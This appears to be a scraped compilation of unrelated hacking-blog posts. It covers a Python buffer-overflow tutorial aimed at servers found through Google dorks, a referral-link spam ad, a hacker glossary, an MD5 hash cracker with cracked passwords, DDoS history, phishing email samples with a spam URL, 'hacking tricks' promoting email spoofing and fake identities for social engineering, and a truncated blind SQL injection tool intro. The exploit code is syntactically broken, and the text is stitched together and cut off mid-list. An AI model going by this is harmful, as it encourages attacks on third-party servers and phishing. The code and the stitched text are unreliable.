Remote Buffer Overflow Exploit with Python

Hello, this time we are coding a Remote Buffer Overflow Exploit with Python that works with TCP only

Step by Step Coding Remote Buffer Overflow Exploit with Python:

1. Finding a server for testing
This is more complicated. Try searching for dorks at GHDB (https://www.exploit-db.com/google-hacking-database/) or for vulnerable software at Exploit-DB (https://www.exploit-db.com).
2. Coding
Coding is the easy part. Begin from importing sys and socket, then, write the following code:
for carg in sys.argv:
            if carg == "-s":
                        argnum = sys.argv.index(carg)
                        argnum += 1
                        host = sys.argv[argnum]
            elif carg == "-p":
                        argnum = sys.argv.index(carg)
                        argnum += 1
                        port = sys.argv[argnum[
buffer = "\x41"* 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM)
s.connect((host,port)) 
s.send("USV " + buffer + "//r//n//r”)
s.close()
Code should look like this:

Now, lets analyze the code. We already know the argument indentification script from my previous tutorial.  The second line makes a buffer, that is \x41 multiplied 3000 times. Then we see the lines of declaring s as socket, connecting with it, sending the buffer and closing the socket. Looks pretty hard, but it isnt.
After you have done these steps above, its time to test out our script!

As we see, the script work really great. I have tested it on one of my servers with vulnerable software. Good luck on h4x1ng!

How to avoid RBO

This depends on programming language. As example, on C, you can be vulnerable to remote buffer overflow if you use code like this:


int authed = 0;
char password_buffer[16];
strcopy(password_buffer, your_password)
if (strcmp(password_buffer, password) == 0) {
            authed = 1;
}
else {
            authed = 0;
}
So, once the your_password is over 16, you can implement auth overflow, or if there are even more, you can get buffer overflow with segmentation fault error.
So, as I have already mentioned, in various cases, the solution differs.

Gokano - win prizes with log in or how to buy free iphones ? is it possible ?

How to earn points ( GN ) :
- Log on every day and click on " GET DAILY GN " ( 1 point for users Standard , 2 points for Gold users ) .
- Complete missions daily answering a short question ( 1 point or more users for Standard , 2 points or more for Gold users ) .
- Inviting new users ( 1 point for users Standard , 2 points for Gold users ) .
Gold users receive twice as many points than Standard users ; Gold users will also receive a free t - shirt



Signup - 
http://gokano.com/ref/X4K5OWwRV19KFDx9sqxi

BASIC OF HACKING

Hacker means someone who finds weaknesses in a computer or computer network, though the term can also refer to someone with an advanced understanding of computers and computer networks.Hackers may be motivated by a multitude of reasons, such as profit, protest, or challenge. The subculture that has evolved around hackers is often referred to as the computer underground but it is now an open community. While other uses of the word hacker exist that are not related to computer security, they are rarely used in mainstream context.

Classifications:-

Several subgroups of the computer underground with different attitudes use different terms to demarcate themselves from each other, or try to exclude some specific group with which they do not agree. Eric S. Raymond (author of The New Hacker's Dictionary) advocates that members of the computer underground should be called crackers. Yet, those people see themselves as hackers and even try to include the views of Raymond in what they see as one wider hacker culture, a view harshly rejected by Raymond himself. Instead of a hacker/cracker dichotomy, they give more emphasis to a spectrum of different categories, such as white hat, grey hat, black hat and script kiddie.

White hat:-

A white hat hacker breaks security for non-malicious reasons, perhaps to test their own security system or while working for a security company which makes security software. The term "white hat" in Internet slang refers to an ethical hacker. This classification also includes individuals who perform penetration tests and vulnerability assessments within a contractual agreement. The EC-Council , also known as the International Council of Electronic Commerce Consultants has developed certifications, course ware, classes, and online training covering the diverse arena of Ethical Hacking.

Black hat:-

A "black hat" hacker is a hacker who "violates computer security for little reason beyond maliciousness or for personal gain" (Moore, 2005). Black hat hackers form the stereotypical, illegal hacking groups often portrayed in popular culture, and are "the epitome of all that the public fears in a computer criminal". Black hat hackers break into secure networks to destroy data or make the network unusable for those who are authorized to use the network.

Part 1: Targeting

The hacker determines what network to break into during this phase. The target may be of particular interest to the hacker, either politically or personally, or it may be picked at random. Next, they will port scan a network to determine if it is vulnerable to attacks, which is just testing all ports on a host machine for a response. Open ports—those that do respond—will allow a hacker to access the system.

Part 2: Research and Information Gathering

It is in this stage that the hacker will visit or contact the target in some way in hopes of finding out vital information that will help them access the system. The main way that hackers get desired results from this stage is from "social engineering", which will be explained below. Aside from social engineering, hackers can also use a technique called "dumpster diving". Dumpster diving is when a hacker will literally search through users' garbage in hopes of finding documents that have been thrown away, which may contain information a hacker can use directly or indirectly, to help them gain access to a network.

Part 3: Finishing The Attack

This is the stage when the hacker will invade the preliminary target that he/she was planning to attack or steal. Many "hackers" will be caught after this point, lured in or grabbed by any data also known as a honeypot (a trap set up by computer security personnel).

Grey hat:-

A grey hat hacker is a combination of a Black Hat and a White Hat Hacker. A Grey Hat Hacker may surf the internet and hack into a computer system for the sole purpose of notifying the administrator that their system has been hacked, for example. Then they may offer to repair their system for a small fee.

Elite hacker:-

A social status among hackers, elite is used to describe the most skilled. Newly discovered exploits will circulate among these hackers. Elite groups such as Masters of Deception conferred a kind of credibility on their members.

Script kiddi:-

A script kiddie (or skiddie) is a non-expert who breaks into computer systems by using pre-packaged automated tools written by others, usually with little understanding of the underlying concept—hence the term script (i.e. a prearranged plan or set of activities) kiddie (i.e. kid, child—an individual lacking knowledge and experience, immature).

Neophyt:-

A neophyte, "n00b", or "newbie" is someone who is new to hacking or phreaking and has almost no knowledge or experience of the workings of technology, and hacking.

Blue hat:-

A blue hat hacker is someone outside computer security consulting firms who is used to bug test a system prior to its launch, looking for exploits so they can be closed. Microsoft also uses the term BlueHat to represent a series of security briefing events.

Hacktivis:-

A hacktivist is a hacker who utilizes technology to announce a social, ideological, religious, or political message. In general, most hacktivism involves website defacement or denial-of-service attacks. Nation state Intelligence agencies and cyberwarfare operatives of nation states.

Attack:-

A typical approach in an attack on Internet-connected system is:
1. Network enumeration: Discovering information about the intended target.
2. Vulnerability analysis: Identifying potential ways of attack.
3. Exploitation: Attempting to compromise the system by employing the vulnerabilities found through the vulnerability analysis.
In order to do so, there are several recurring tools of the trade and techniques used by computer criminals and security experts.

Security exploit:-

A security exploit is a prepared application that takes advantage of a known weakness. Common examples of security exploits are SQL injection, Cross Site Scripting and Cross Site Request Forgery which abuse security holes that may result from substandard programming practice. Other exploits would be able to be used through FTP, HTTP, PHP, SSH, Telnet and some web-pages. These are very common in website/domain hacking.

Techniques

Vulnerability scanner:-

A vulnerability scanner is a tool used to quickly check computers on a network for known weaknesses.Hackers also commonly use port scanners. These check to see which ports on a specified computer are "open" or available to access the computer, and sometimes will detect what program or service is listening on that port, and its version number. (Note that firewalls defend computers from intruders by limiting access to ports/machines both inbound and outbound, but can still be circumvented.)

Password cracking:-

Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.

Packet sniffer:-

A packet sniffer is an application that captures data packets, which can be used to capture passwords and other data in transit over the network.

Spoofing attack (Phishing):-

A spoofing attack involves one program, system, or website successfully masquerading as another by falsifying data and thereby being treated as a trusted system by a user or another program. The purpose of this is usually to fool programs, systems, or users into revealing confidential information, such as user names and passwords, to the attacker.

Rootkit:-

A rootkit is designed to conceal the compromise of a computer's security, and can represent any of a set of programs which work to subvert control of an operating system from its legitimate operators. Usually, a rootkit will obscure its installation and attempt to prevent its removal through a subversion of standard system security. Rootkits may include replacements for system binaries so that it becomes impossible for the legitimate user to detect the presence of the intruder on the system by looking at process tables.

Social engineering:-

When a Hacker, typically a black hat, is in the second stage of the targeting process, he or she will typically use some social engineering tactics to get enough information to access the network. A common practice for hackers who use this technique, is to contact the system administrator and play the role of a user who cannot get access to his or her system.

Trojan horses:-

A Trojan horse is a program which seems to be doing one thing, but is actually doing another. A trojan horse can be used to set up a back door in a computer system such that the intruder can gain access later. (The name refers to the horse from the Trojan War, with conceptually similar function of deceiving defenders into bringing an intruder inside.)

Viruses:-

A virus is a self-replicating program that spreads by inserting copies of itself into other executable code or documents. Therefore, a computer virus behaves in a way similar to a biological virus, which spreads by inserting itself into living cells. While some are harmless or mere hoaxes most computer viruses are considered malicious.

Worm:-

Like a virus, a worm is also a self-replicating program. A worm differs from a virus in that it propagates through computer networks without user intervention. Unlike a virus, it does not need to attach itself to an existing program. Many people conflate the terms "virus" and "worm", using them both to describe any self-propagating program.

Key loggers:-

A key logger is a tool designed to record ('log') every keystroke on an affected machine for later retrieval. Its purpose is usually to allow the user of this tool to gain access to confidential information typed on the affected machine, such as a user's password or other private data. Some key loggers uses virus-, trojan-, and rootkit-like methods to remain active and hidden. However, some key loggers are used in legitimate ways and sometimes to even enhance computer security. As an example, a business might have a key logger on a computer used at a point of sale and data collected by the key logger could be used for catching employee fraud.

BozoCrack – MD5 Password Hash Cracker

BozoCrack is a depressingly effective MD5 password hash cracker with almost zero CPU/GPU load. Instead of rainbow tables, dictionaries, or brute force, BozoCrack simply finds the plaintext password. Specifically, it googles the MD5 hash and hopes the plaintext appears somewhere on the first page of results.

It works way better than it ever should.

How?
Basic usage:

$ ruby bozocrack.rb my_md5_hashes.txt

The input file has no specified format. BozoCrack automatically picks up strings that look like MD5 hashes. A single line shouldn’t contain more than one hash.

Example with output:

$ ruby bozocrack.rb example.txt
Loaded 5 unique hashes
fcf1eed8596699624167416a1e7e122e:octopus
bed128365216c019988915ed3add75fb:passw0rd
d0763edaa9d9bd2a9516280e9044d885:monkey
dfd8c10c1b9b58c8bf102225ae3be9eb:12081977
ede6b50e7b5826fe48fc1f0fe772c48f:1q2w3e4r5t6y

Why?
To show just how bad an idea it is to use plain MD5 as a password hashing mechanism. Honestly, if the passwords can be cracked with this software, there are no excuses.

Who?
BozoCrack was written by Juuso Salonen

Download: bozocrack.rb

Crack RSA SecurID 800 Secret Key in 13 Minutes

RSA’s SecurID 800 is one of at least five commercially available security devices susceptible to a new attack that extracts cryptographic keys used to log in to sensitive corporate and government networks.

Scientists have devised an attack that takes only minutes to steal the sensitive cryptographic keys stored on a raft of hardened security devices that corporations and government organizations use to access networks, encrypt hard drives, and digitally sign e-mails.

The exploit, described in a paper to be presented at the CRYPTO 2012 conference in August, requires just 13 minutes to extract a secret key from RSA’s SecurID 800, which company marketers hold out as a secure way for employees to store credentials needed to access confidential virtual private networks, corporate domains, and other sensitive environments. The attack also works against other widely used devices, including the electronic identification cards the government of Estonia requires all citizens 15 years or older to carry, as well as tokens made by a variety of other companies.

“They’re designed specifically to deal with the case where somebody gets physical access to it or takes control of a computer that has access to it, and they’re still supposed to hang onto their secrets and be secure,” Matthew Green, a professor specializing in cryptography in the computer science department at Johns Hopkins University, told Ars. “Here, if the malware is very smart, it can actually extract the keys out of the token. That’s why it’s dangerous.” Green has blogged about the attack here.

It’s this version of the attack the scientists used to extract secret keys stored on RSA’s SecurID 800 and many other devices that use PKCS#11, a programming interface included in a wide variety of commercial cryptographic devices. Under the attack Bleichenbacher devised, it took attackers about 215,000 oracle calls on average to pierce a 1024-bit cryptographic wrapper. That required enough overhead to prevent the attack from posing a practical threat against such devices. By modifying the algorithm used in the original attack, the revised method reduced the number of calls to just 9,400, requiring only about 13 minutes of queries, Green said.

Other devices that store RSA keys that are vulnerable to the same attack include the Aladdin eTokenPro and iKey 2032 made by SafeNet, the CyberFlex manufactured by Gemalto, and Siemens’ CardOS, according to the paper.

3 Famous DDoS Attacks

Some of the more darker aspects of the web can be said to revolve around something called a denial of service attack. Cyber attacks like these only come out of the deep web, or other wise known as the dark web. Or do they? I will be covering some pretty famous DDoS attacks. If you haven’t caught on in my first sentence, DDoS is short for denial of service. If you are new to the cyberdefense field and are looking to learn more, you might be wondering what a DDoS attack is? We’ll, your in luck, because that’s what were about to explain!

What Are DDoS Attacks?

As I stated earlier in the opening paragraph of this article, DDoS is short for a denial of service attack. As the name implies, it is denying someone, or something a type of service.
You can watch the YouTube video explanation on what a DDoS attack is, and then read on!

These hackers that deploy a DDoS attack are attempting to prevent the internet server from giving service to your website. You as a user will not be able to access a website where ever it is being hosted. How are they able to accomplish? Let me explain.
Hackers get hundreds if not thousands of internet users to download a specialized software with the intent of utilizing a denial of service attack. The users who download this type of software may know that they are downloading it with a full intent on being apart of a denial of service attack.
However, users may download this DDoS software with malicious purposes without even knowing that their computer will be a part of a denial of service attack. They could download the virus unintentionally through a phishing attempt.

How Do DDoS Attacks Work?

Denial of service attacks work like this especially famous DDoS attacks. Since a bunch of users have this malicious software downloaded onto their computer whether they know it or not, a hacker will then target a specific website to attack.
The website could be a government website, it could be a huge corporate website, it could even be Joe Schmoe’s random blog. What ever, you get the point! Just know that this is a website being targeted for an attack, and it is being hosted on a server somewhere.
The hacker can now execute his attack by having all of the users with the downloaded denial of service attack software on their computers attack the targeted websites. These hundreds if not thousands of computers will send multiple request a few thousands times all together within milliseconds flooding the server that the website is being hosted on.
Through all these requests, the server will then become overloaded and have no choice but to shut down. The server shutting down will of course force the website to no longer be on the web. This will tell the hosted website that you have been hacked!
As you can vividly imagine, denial of service attacks can be very damaging.

Why are DDoS Attacks So Harmful?

If one doesn’t know too much about technology and cyberdefense, then they might even ask the question, well why are these attacks harmful? I mean they are just online websites shutting down temporarily right? Wrong! Most websites these days are a person’s or companies financial life source! Famous DDoS attacks have caused a lot of damage to many peoples lives.
Lets say the only income you receive is on running a blog that deals with a topic of taking information security classes, or maybe you even have an eCommerce website that sells products online as your financial life source, or what if you are a government agency providing valuable real time information to the public on lets say the Zika virus. Denial of service attacks are extremely harmful. They are harmful because they are preventing the sites owner from doing business as.
If a website shuts down for even a few minutes, that can be a detrimental loss of revenue, especially for small and large business owners alike. As you can see, denial of service attacks are a major threat in the cyber security field.
Before we cover our most famous DDoS attacks, Let us talk about the different types of denial of service attacks.

Types Of DDoS Attacks

There are some different types of DDoS attacks that I will be briefly touching up on. Let’s go over some of them:
UDP Flood – This type of attack floods internet ports on a specified host that has many UDP packets. What this means is that the server is constantly checking for the application to arrive and listening to the internet port, when in fact there is no application being sent to the host.
SYN Flood – The SYN flood exploits weaknesses within the TCP connection. This weakness is that the SYN is requesting to form a connection with TCP, and since a connection must be answered, the SYN continues to send multiple requests but does not respond. This causes a loop in TCP to constantly check for a response, thus flooding the network causing it to shut down due to overload.
ICMP Flood – ICMP over loads the server it is targeting with ICMP Echno request packets through pinging the server multiple times while waiting for a response. This overloads the incoming bandwidth which causes the system to become extremely slow!

More Types Of DDoS Attacks

Ping of Death – You bet, as the name implies, the famous DDoS attacks that this bad boy performs will ping your server to death! Picture a child constantly bugging their parents like this, can I get that, can I get that, and the child does that thousands of times within a short period of time. Eventually the parent will get agitated and begin to break down in temper. Ok, enough of my horrible analogy.
HTTP Flood – If you notice the http in your computers URL, that’s what this is referring too. This type of DDoS attack exploits http in where it forces the servers application to overload on using its resources to respond to every single request one at a time.
NTP Amplification – NTP creates a high bandwidth, high volume attack. Ultimately it will over load the connection.
Zero Day– Zero Day is new and exploits any vulnerabilities which are not patched yet. Update your computer and equipment whenever there is a firmware update and you will be fine.
Now that you have been schooled on what denial of service attacks are, lets talk about some of the most famous DDoS attacks. That is what the title says after all, and what you clicked on to come here and read isn’t it? So let’s get moving!

3 Most Famous DDoS Attacks Explained:

1 – Scientologist Church Gets Hit Hard By Anonymous!

A well known and reputable hacktivist group that calls themselves Anonymous attacked the Church of Scientology in a major DDoS attack. This attack took place on January 8, 2008 and was called Project Chanology.
The denial of service attack that was deployed was well coordinated using a software program that was used to fight for Wikileaks. The program was able to shut down the Scientologist church website momentarily.
The DDoS attack was meant to be a protest against the Church of Scientology’s philosophies and practices. Anonymous felt that Scientologist were trying to cover up and remove a published interview with the famous actor Tom Cruise, who is a advocate and practitioner of the Scientology Church.
This internet censorship from the Church of Scientologist led to Anonymous ultimate decision to attack this organization with a highly organized DDoS attack.

2 – Hong Kong’s Democracy Movement Flustered

This attack does not deal with anything U.S. related. This story shows that DDoS attacks can occur world wide to foreign governments and corporations as alike.
A grassroots moment located in Hong Kong wanted to bring destruction to the Chinese government back in June 2014. This movement is called Occupy Central. They organized one of the biggest and most famous DDoS attacks in history.
Occupy Central used this DDoS attack against the Chinese government because they wanted a one man one vote system when electing officials to represent political office. At the time, the government didn’t allow for such a voting system. Only 1,200 members apart of an election committee were allowed to vote on who would be the next political leader.
This all led Occupy Central to push their DDoS attack forward and brought down a major political website.

3 – The Largest DDoS Attack In History!

So far this next story is considered to be the largest DDoS attack in history yet.
Back on December 31st, 2015, on New Years Eve a hacker group who is calling themselves the New World Hacking took responsibly for this huge DDoS attack. They were capable of disrupting BBC’s global website, along with Donald Trumps website as well.
BBC’s sites including the iPlayer, which is an on demand service was taken down through the DDoS attack for at least three hours or more. BBC reported that the lack of response from their services was because of technical issues. However, these were no technical issues, but the well crafted and highly organized work coming from the hands of the New World Hacking group.
The tool that was used to deploy these attacks is called BangStresser. This was capable of launching an attack of up to 602 Gbps on BBC’s website. This is a huge! Again this is considered the biggest DDoS attack yet.
As you can all see, DDoS attacks are no joke in the world of getting hacked. This technique is highly sought after by hackers to use in their arsenal of internet weapons.
DDoS attack can destroy businesses and even the reputation of governments. What do you think about DDoS attacks? Do you have any stories to share? Please tell us more and leave comments below.
Sincerely,

How To Prevent Spear Phishing Attacks

In this blog post, Cyberdefense Hub will show you real world examples on how to block emails coming from spear phishing attacks.
In our last article, we talked about the latest current events on how email spoofing and spear phishing attacks are costing the U.S. economy big money. Hackers are sending out fake emails to unsuspecting victims. These false emails that are being sent out may look exactly like a familiar email address of someone you know well. This email address could even be a clone of the person messaging you. This technique of cloning someones email address is called email spoofing.


When you receive a spoofed email, there is always an agenda behind it. This agenda of a hacker pretending to be someone their not. They are trying to squeeze some sort of personal information out of you through these spear phishing attacks. Information that most hackers are interested in could be bank account numbers, credit card numbers, social security numbers, user names, passwords, your full name, your address, and so on. They might even be trying to get someone else’s information out of you through their phishing attempt as well.
Regardless of the reasons on why hackers want to steal your personal information, these attacks can be very harmful! This is why we will be showing you how to spot phishing attacks, and how to block emails on the most popular email service providers such as gmail.com, yahoo.com, and even hotmail.com.
Yes you heard me right when I said hotmail.com! The majority of email users still use a Hotmail account which is now outlook.com for their email services. Ok sorry for that little side rant, but knowing how to block Hotmail emails will be useful for those who don’t know and still use this Microsoft email service.
Ok, so let’s get down to business. I will show you real world spoofed email addresses, and actual examples on how I was attacked through one of these spear phishing attacks.

Example 1: Federal Express Spear Phishing Attacks

This is a spoofed email from a sender claiming to be from Federal Express. The email looks legit, but it was one of many types of spear phishing attacks. I will break down an explanation of the email:

---

Subject: FedEx #46358
From: Federal Express
To: youremailaddress@hotmail.com
Thu 1/1/2016 12:00 AM
FedEx No.46358
We have sent you a message.
We have sent you a message with the required information.
Have trouble reading this email?
Click here to open this email in your browser.
Please click unsubscribe if you don’t want to receive these messages from Federal Express in the future.

---

As you can see above, the sender looks like it’s from FedEx. The email address was identical to that of a FedEx email address. There are even links like the “View messages” button, and a link to unsubscribe to future emails.
I never ordered anything from FedEx, so that got me thinking that this must be a mistake, or a phishing attack. Sure enough, it was a phishing attack. Now I don’t recommend anyone to do this at home, but since I have a dummy computer to practice cyber security on, I went ahead and did the unthinkable. I actually clicked on the “View messages” button! Again, I reiterate to NOT do this at home!
What happened next was that it brought me to a website claiming that my computer’s Adobe Flash Player was out of date, and that I needed to install the latest version. Below is a screen shot of the false alert.

In the image above, it displays a webpage that is false. I checked my Adobe Flash Player, and it is completely up to date to the most recent version. I am sure if I clicked on any of the links from this website, it would fill my computer with malware and viruses! Let’s move on to another example.

Example 2: Junk Mail

I am sure most of you get these emails already, but I had to post an example for anyone that wasn’t aware. Before I explain what this type of spam email is, I am just going to go ahead and post an example. Below is not one of the spear phishing attacks that I have been talking about, but it is an example of junk mail:

---

(No subject)
From: BEST VIAGRAandCIALIS
To: youremailaddress@hotmail.com
1/1/2016
Click Here [Online Pharmacy]
Or Copy and Paste this Safe redirect Url into your browser:
===> http://fungu.reg11.ru/administrator/components/com_weblinks/views/f 1.html
DISCOUNT TODAY:
Viagra|Price_ $0.87
Cialis Price: $0.87
Viagra Professional|Price $2.67
Cialis Professional|Price: $3.59
Levitra|Price $ 1.04
Payment: VISA,MasterCard
Copyright 2007-2016. All Rights Reserved.
(If the link does not work then click – Wait, it’s safe! Or I’m not sure. Let me check)

---

This is strictly junk email sent to my inbox. This isn’t a spoofed email, and may or may not be a phishing attack, but these emails are more annoying if anything. If you are looking to buy Viagra online, I would not attempt to click on any of the links in an email sent to you from a company claiming to sell a drug to get your juices flowing. Clicking on a link may still download viruses and malware onto your computer.

Example 3: More Spoofed Email FedEx Spear Phishing Attacks

Below is another example of a spoofed email from FedEx that is phishing for information:

---

FedEx:Not possible to make delivery
From: Chloe
Fri 5/20/2016 5:50 AM
To: Your Name (youremailaddress@hotmail.com)
Subject: FedEx
January 1, 2013
Not possible to make delivery.
Our companys courier couldnt make the delivery.
Delivery Manager
FedEx 1995-2013 | Global Home | Terms of Use | Security and Privacy

---

The email above is claiming that I made a purchase, and the shipping was not able to make a delivery to my home. Again, I made no purchases, and this email is trying to get me to click on one of their links so I can be directed to a bogus website, and be fooled into typing in my personal information. Also if you look at the spelling of their email, it is certainly a clue that this is a phishing attempt. This is an indicator that this email is from a false sender. The example above is purely a phishing attack!
Let’s move on to our final example before we go onto showing you how to block emails in your gmail, yahoo, and Hotmail accounts.

Example 4: Spoofed Amazon email & Spear Phishing Attacks

This next email example is claiming that I made a purchase from Amazon, and that my order was cancelled. See below:

---

Subject: Amazon.com – Your Cancellation (11-323-46942)
From: order-update@amazon.com
To: youremailaddress@hotmail.com
Jan 1/1/2016 12:33 PM
Dear Customer,
Your order has been successfully canceled. For your reference, here’s a summary of your order:
You just canceled order 11-323-46942 placed on May 12, 2016.
Status: CANCELED
_____________________________________________________________________
1 “Huey”; 2006, Special Edition
By: Pierre Wallace
Sold by: Amazon.com LLC
_____________________________________________________________________
Thank you for visiting Amazon.com!
———————————————————————
Amazon.com
Earth’s Biggest Selection
http://www.amazon.com

---

When I got this email, I must admit I was a little taken back from it. It looked like it was from Amazon, but the only problem was is that I never ordered anything in a while from them. At first I thought someone hacked into my Amazon account and made a purchase for 1 “Huey”; 2006, Special Edition
By: Pierre Wallace. I did some research and found that no such product existed. Their link all the way at the bottom of this email even brought me to the Amazon website.
Everything else about this email seemed legit, except for the order number 11-323-46942. The order number link took me to a webpage that looked like an Amazon page, but just looked a little off. It was asking for me to re-enter my credit card information, my full name, and my address. The webpage just didn’t feel right, so I decided to contact Amazon’s customer support directly.
Sure enough, I received a legit email from Amazon’s customer support team, and below is an actually copy of the email:

---

Message From Customer Service
Thank you for writing to us.
The e-mail you received was not from Amazon.com. We are investigating the situation, and we appreciate you letting us know that you received this.
For your protection, we suggest that you never respond to requests for personal information that may be contained in suspicious e-mail. It is best to assume any e-mail that asks for personal financial information (or web site linked to from such an e-mail) is not authentic.
If you did not click on the link in the fraudulent e-mail, your account at Amazon.com is fine — there’s nothing more you need to do. If you did click the link, but didn’t enter any personal information (such as your login or password), the phishers will not have your Amazon.com account information.
However, please know that if you ever respond to a phishing e-mail and do enter your Amazon.com login and password (or any other personal information) on the forged web site, the phishers will have collected that information and you should take appropriate action. We recommend that you update your Amazon.com password immediately, and, if you entered financial information, you may want to contact your bank or credit card provider.
If you encounter any other uses of the Amazon.com name that you think may be fraudulent, please do not hesitate to contact us again.
Thank you for contacting Amazon.com.
*****
WHAT IS PHISHING?
Phishing e-mails have been around for years. The term phishing comes from the use of increasingly sophisticated lures to “fish” for users’ personal or financial information. In phishing, the scam artist usually sets up a spoofed a web page, which looks like the real one, but is owned and operated by the phisher.
Go to www.amazon.com/phish to read more about ways to protect yourself from phishing.
*****
WHAT IS SPOOFING?
Spoofing, in this context, refers to a counterfeit web page or e-mail that is made to “look and feel” authentic but is actually owned and operated by someone else. It is intended to fool someone into thinking that they are connected to a trusted site, or that they have received an e-mail from a trusted source.
*****
WHERE CAN I FIND OUT MORE INFORMATION ABOUT SECURITY ON AMAZON.COM?
Visit the “Privacy & Security” section of our Help pages for safe shopping tips, our privacy policy, and more:
http://www.amazon.com/o/tg/browse/-/551434/
*****
HOW CAN I UPDATE MY AMAZON.COM PASSWORD?
Go to our home page then click “Your Account” on the top right menu. Choose the option “Change your name, e-mail address, or password” found under Account Settings.
We’d appreciate your feedback. Please use the links below to tell us about your experience today.
Best regards,
Amazon Rep.

---

There is some pretty good information from Amazon that was sent to me through their customer support email.
I hope the examples above gave you all some deeper insight on what a spoofed email looks like, and how a phishing attack is performed.
Now that we all have a better understanding on how to spot a phishing attempt, lets learn how to block these emails from ever being sent again to our email address for better cyberdefense awareness.

How To Block Emails

Below is a step by step guide in how to block a sender from your gmail account:

Gmail Account

Step 1: When you are in your gmail account go to the top right hand corner of an email message and click on the drop down menu.
Step 2: Just click “Block” as shown in the picture above.
Blocking an email address in Google is really that simple! Lets move onto blocking a sender from a Yahoo email account.

Yahoo Account

Step 1: Go ahead and sign into your yahoo email account.
Step 2: As shown in the image above, go to options at the top and click on “Mail Options”
Step 3: From there you should see an option to Block Addresses
Step 4: Just type in the email address that you would like to block, and never receive email from that sender again.
Blocking someones email address in yahoo is as simple as baking an American pie!
Ok let’s wrap this up. Below is how you block someone in a Hotmail account.

Hotmail Account

Step 1: Just go to your Hotmail homepage.
Step 2: And now, just follow these exact steps, and your all good!
That’s it, we hope you enjoyed this lesson on how to block emails and spot a spear phishing attack. We also hope you now know what a spoofed email looks and feel like too. Please leave comments below and talk about your experiences with email spoofing and spear phishing attacks. Until our next computer hacking guide, see you soon!
Sincerely,

5 Easy Computer Hacking Tricks!

What’s going on everyone! In this tutorial we will be showing you 5 pretty cool computer hacking tricks. Now I just want to write a disclaimer before we start. What we are about to show you should not be used on anyone! This article is strictly for educational purposes only.
You might be asking yourself on why we are showing some computer hacking tricks. The answer is simple. We want you to be able to have a reverse engineering mindset. What that means is this. Knowing how to hack will also teach you how to prevent your information from being hacked.

There are many resources out there including many classes that can teach you all about cyberdefense. However, if you don’t understand how hackers are stealing your information and wreaking havoc on your computer, then you are more likely to succumb to getting your stuff stolen online.
So let’s get started, shall we!:

1. Social Engineering

What is social engineering you might ask? It doesn’t just pertain to technology and using it for computer hacking tricks. Social engineering is a technique in using technology, psychology, and manipulation to squeeze information out of someone.
A prime example of a former criminal who used social engineering was Kevin Mitnick. He is now a consultant in cyber security getting paid big bucks by the FBI. The point of me referring to him is that he used phishing techniques by calling corporations and people up over the phone to get information out of them. He pretended to be someone he’s not.
Through the use of a social engineering strategy, Kevin Mitnick was able to steal passwords, social security numbers, and credit card information over the phone. From there he used this information to break into victims private computers, and other types of safeguards that protect personal data.
There is a pretty cool online tool that can generate all types of fake information. The information generated will give you a completely new identity including a fake address, social security number, and a fictitious credit card number. If you want to create a new identity for social engineering, just click on the anchor text I just linked to. Again, I want to stress that this tool is for educational purposes only!

2. Email Spoofing

If you don’t know what spear phishing is, and have not read our email spoofing article, check it out. This will set the tone and give you a base line knowledge on what it is.
To rehash on this subject a little, email spoofing is basically cloning an email address that already exists. It may even be someone you already know. You send this spoofed email out to a victim in order to execute something called a spear phishing attack. These attacks try and squeeze important information out of someone, and can be a form of social engineering.
So, how do you create a spoofed email address and use a spear phishing attack to steal information? Were glad you asked! There are tons of free software programs out there available for download. You can even use online tools that don’t require any sort of downloading to create a fake email address.
One online tool that you can use is called send email. You can use this free online tool to clone an email address that already exists. You can then use this cloned email as a gag to prank someone you may know. However, this tool can be used to steal information. I hope you now know how hackers create spoofed emails to try and take important data that’s not theirs.

3. Command Line

Windows command prompt. Learn it, live it, breath it! If you can master the command prompt in windows, then you will not only know how to generate computer hacking tricks, but you will understand more in depth how computers actually work. You will also really know how hackers gain entry into restricted areas of your computer and or network.
The command line is a highly useful tool. If you ever get hit hard with a nasty computer virus, the command line is capable of shutting down all programs on you computer. You can then work manually to get rid of a virus that is infecting your computer. However, it takes time to master.
If order to open your command line, just go to your Windows start menu. From there, type in the letters “cmd”. After you see the command line program, just click on it and open it.
So I am not going to reinvent the wheel by adding screen shots or my own self made video on how to open the command line. Here I am linking to a short video on how to open the command prompt. This works very similarly for any windows computer. So whether you have Windows XP, Windows 7, Windows 8, Windows 10, or whatever, this will work on any of the Windows operating systems.
Hopefully this article will get you more interested in learning how to use the Windows command line tool, because it is extremely, and I mean very EXTREMELY valuable to know!

4. Ping Command

So in this computer hacking tricks tutorial, I wouldn’t feel right if I didn’t even show you one cool trick with the command line.
Now that you know how to open the command line prompt, type these characters in exactly, “ping google.com”. The ping command will call out to Google’s website, and Google will talk back to your computer. If you notice that after pinging Google you will see something that says packets sent, and packets received. What this means is this; packets are like little packages of information about the internet traffic going to and from computer to computer, or network to network. It is basically all the important information about your internet traffic.
Packets are what computers use to send and receive information, and that information in the packets tell the network where to send the traffic conversations. Hackers can use packet analyzers to do some serious damage to your computer or network. This why the ping command can be useful for a hacking attack and or use of cyberdefense.

5. Brute Force Attack

Brute force attack is a perfect representation of a word when it comes to computer hacking tricks. This type of hacking technique uses a computer program capable of cracking online passwords and usernames to websites. Is there any need to explain more?
The simplistic explanation on how a brute force attack works is this. The program goes through millions of words in a second that are dictionary words in order to guess phrases and letters of a password that you are using online. It deciphers each letter and finally words to figure out what your username or password is. If you are interested in experimenting with this type of tool, then you can download brute force attack software.
If you decide to download this, I highly advise to not go around and crack passwords to websites that aren’t yours! If you get caught cracking passwords and usernames to websites, you can be charged with a felony. Cracking passwords is no different then breaking into someones home, so tread very carefully with the use of this tool. Remember, you may be charged with a breaking and entering criminal action, so don’t do it!
We hope you enjoyed our computer hacking tricks tutorial. Cyberdefense would always like to know what hacks you know, and would like to share. Please leave comments below and share your cyber security knowledge. It’s valuable to everyone!
Sincerely,

Automated Blind SQL Injection Attacking Tools~bsqlbf Brute forcer

What is Blind SQL Injection:

Some Websites are vulnerable to SQL Injection but the results of injection are not visible to the attacker.  In this situation, Blind SQL Injection is used. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered.
There are plenty of automated Blind Sql Injection tool available. Here i am introducing one of Tool named as bsqlbf(expanded as Blind Sql Injection Brute Forcer).

This tool is written in Perl and allows extraction of data from Blind SQL Injections. It accepts custom SQL queries as a command line parameter and it works for both integer and string based injections

Supported Database:

